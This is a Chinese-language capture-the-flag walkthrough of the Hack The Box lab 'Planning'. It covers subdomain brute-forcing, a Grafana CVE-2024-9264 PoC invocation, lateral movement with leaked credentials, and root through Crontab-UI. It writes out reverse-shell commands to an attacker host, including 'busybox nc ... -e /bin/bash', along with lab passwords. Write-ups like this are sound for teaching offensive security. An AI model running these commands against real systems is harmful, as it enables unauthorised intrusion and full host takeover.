HTB-Planning
一、初始侦察与立足点建立
1.1 端口扫描与服务识别
对目标主机 10.10.11.68
进行全端口扫描,以识别开放的服务。
sudo nmap 10.10.11.68 -p- --min-rate=5000 -A
图1: Nmap 扫描结果显示开放 22 (SSH) 和 80 (HTTP) 端口,重点关注 80 端口的 Web 服务。
1.2 Web 服务探索与目录爆破
访问 80 端口的 Web 服务,发现其重定向至 http://planning.htb/
。将该域名添加到本地 DNS 解析文件 (/etc/hosts
)后进行访问。
图2: 访问 http://planning.htb/
,显示一个 PHP 开发的教育课程网站。
使用 feroxbuster
对网站进行目录爆破,寻找敏感文件或路径。
feroxbuster -u http://planning.htb -x php
图3: Feroxbuster 目录爆破结果,发现一个 LICENSE
文件。
查看 LICENSE
文件内容,并通过搜索引擎查询,判断该网站是基于这个公开的 Web 模板开发的,接近是一个静态网站,很难有从这里利用的路径。
图4: LICENSE
文件内容,指向一个通用 Web 模板。
1.3 子域名爆破与 Grafana 发现
尝试进行子域名爆破。但没有任何发现。
ffuf -u 'http://planning.htb' -H 'host:FUZZ.planning.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fs 178
图5: 使用小字典进行子域名爆破,无有效发现。
靶机给了我们初始的凭证,已经明示了有 Web 站点了。暂时没有其他思路,换用更大的字典接着进行子域名爆破,成功发现新的子域名。
ffuf -u 'http://planning.htb' -H 'host:FUZZ.planning.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -t 100 -fs 178
图6: 使用大字典进行子域名爆破,成功发现 grafana.planning.htb
。
将 grafana.planning.htb
添加到本地 DNS 解析后访问,发现是一个 Grafana 服务界面。Grafana 是一个开源的数据可视化和监控平台。
图7: 访问 grafana.planning.htb
,显示 Grafana 登录界面。
1.4 Grafana 登录与漏洞利用 (CVE-2024-9264)
使用靶机提供的初始凭证 admin
/ 0D5oT70Fq13EvB5r
尝试登录 Grafana 系统。
图8: 使用初始凭证 admin
/ 0D5oT70Fq13EvB5r
成功登录 Grafana 系统。
登录后,没有发现有版本信息,搜索 Grafana 相关的已知漏洞,发现一个近期披露的漏洞 CVE-2024-9264。无论如何先尝试利用。
图9: 网络搜索到的 Grafana 相关漏洞信息 (CVE-2024-9264)。
利用找到的 PoC 脚本,设置反向 Shell 连接至攻击机 10.10.14.17
的 53
端口。
python3 poc.py --url http://grafana.planning.htb/ --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.17 --reverse-port 53
图10: 成功利用 CVE-2024-9264 获得反向 Shell,当前用户为 root。
1.5 Docker 容器内信息收集
检查当前 Shell 环境,发现存在 /.dockerenv
文件,表明当前 Shell 位于 Docker 容器内部。
ls -alh /.dockerenv
图11: /.dockerenv
文件存在,确认当前环境为 Docker 容器。
在容器内部署并运行 linpeas.sh
脚本进行信息收集,寻找敏感信息或逃逸路径。
图12: 在 Docker 容器内上传并运行 linpeas.sh
。
linpeas.sh
的输出结果中,在环境变量部分发现了泄露的凭证:enzo
/ RioTecRANDEntANT!
。
图13: Linpeas.sh
发现环境变量中泄露的用户 enzo
的凭证。
二、主机渗透与横向移动
2.1 SSH 登录与主机信息枚举
利用在 Docker 容器内发现的凭证 enzo
/ RioTecRANDEntANT!
尝试通过 SSH 登录宿主机 (10.10.11.68
)。
图14: 使用 enzo
的凭证成功通过 SSH 登录宿主机。
登录后,进行基本的手动信息枚举。查看网络连接,发现宿主机本地开放了 3000
和 8000
端口。其中 3000
端口为之前访问的 Grafana 服务。
图15: 主机本地端口监听情况,3000
和 8000
端口引起注意。
2.2 本地端口转发与服务识别
为了访问宿主机本地的 8000
端口服务,使用 SSH 本地端口转发功能。
ssh -N -L 8000:127.0.0.1:8000 enzo@10.10.11.68
图16: 访问本地转发的 8000
端口,服务需要认证。尝试之前获取的凭证均失败。
为了确定 8000
端口运行的服务及潜在的提权向量,再次在宿主机上上传并运行 linpeas.sh
进行更全面的信息收集。
图17: 在宿主机上运行 linpeas.sh
进行信息收集。
三、权限提升:Crontab-UI
3.1 Crontab-UI 凭证获取
仔细审查 linpeas.sh
在宿主机上的输出,发现一个名为 crontab-ui
的应用进程,这个程序很陌生,并不是 Linux 上内置或者常见的,可能与 8000
端口的服务相关。
图18: Linpeas.sh
输出中发现 crontab-ui
进程。
同时,在 /opt
目录下发现一个名为 crontabs
的目录,其中包含 crontab.db
文件,推测这可能是 crontab-ui
的数据库或配置文件。
图19: /opt/crontabs/crontab.db
文件路径被发现。
查看 crontab.db
文件内容。
cat /opt/crontabs/crontab.db
图20: crontab.db
文件内容中包含参数 -P P4ssw0rdS0pRi0T3c
,这极有可能是 crontab-ui
的登录密码。
3.2 Crontab-UI 登录与利用
尝试使用用户名 root
和从 crontab.db
中获取的密码 P4ssw0rdS0pRi0T3c
登录本地转发的 8000
端口上的 Web 服务。
图21: 使用 root / P4ssw0rdS0pRi0T3c
成功登录 Crontab-UI
界面,这是一个计划任务管理平台。
Crontab-UI
允许以 root 权限管理和执行计划任务。我们可以利用此功能创建一个反弹 Shell 的任务。
图22: 在 Crontab-UI
中创建一个新的计划任务,设置为每分钟执行,命令为 busybox nc 10.10.14.17 53 -e /bin/bash
,保存并手动触发执行。
3.3 获取 Root Shell
在攻击机上监听 53
端口,等待 Crontab-UI
执行计划任务。
图23: 成功接收到 Crontab-UI
触发的反弹 Shell,获得宿主机 root 权限。
至此,已成功获取目标主机的最高权限。